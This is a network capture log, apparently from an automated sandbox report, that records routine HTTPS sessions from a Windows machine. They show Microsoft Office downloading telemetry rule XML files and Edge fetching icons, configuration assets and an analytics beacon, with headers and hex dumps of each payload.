2024-11-28 16:24:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162447Z-174f78459688l8rvhC1EWRtzr00000000b7000000000d2uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:46 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162447Z-174f7845968xr5c2hC1EWRd0hn0000000fmg000000002wbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49848	18.244.18.27	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:47 UTC	925	OUT	GET /b?rn=1732811086500&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1066DAF9585D62E900DBCFBC59D76315&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:47 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Nov 2024 16:24:47 GMT Location: /b2?rn=1732811086500&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1066DAF9585D62E900DBCFBC59D76315&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=12A156e59c91d378cad2d461732811087; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=12A156e59c91d378cad2d461732811087; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5d328d2e734cff11e41c897ec72f465e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: KuT3xAg1OozOnmc3bR0KhTcLRfoC68tGpxEyLK53TEqcQAS_Lzqw7A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49865	13.107.246.63	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	583	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 69e5da98-701e-004a-537d-415860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f7845968nxc96hC1EWRspw80000000ydg000000008y37 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 16:24:48 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-28 16:24:48 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-28 16:24:48 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-28 16:24:48 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49881	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f7845968j6t2phC1EWRcfe80000000yr000000000hds3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6b17fc2f-301e-006e-0e9b-40f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162448Z-174f7845968px8v7hC1EWR08ng0000000yy0000000008h51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49886	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f7845968pght8hC1EWRyvxg00000001tg00000000b03g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49883	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f78459684bddphC1EWRbht40000000yg00000000020d1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49885	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f7845968px8v7hC1EWR08ng0000000yug00000000ghdh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
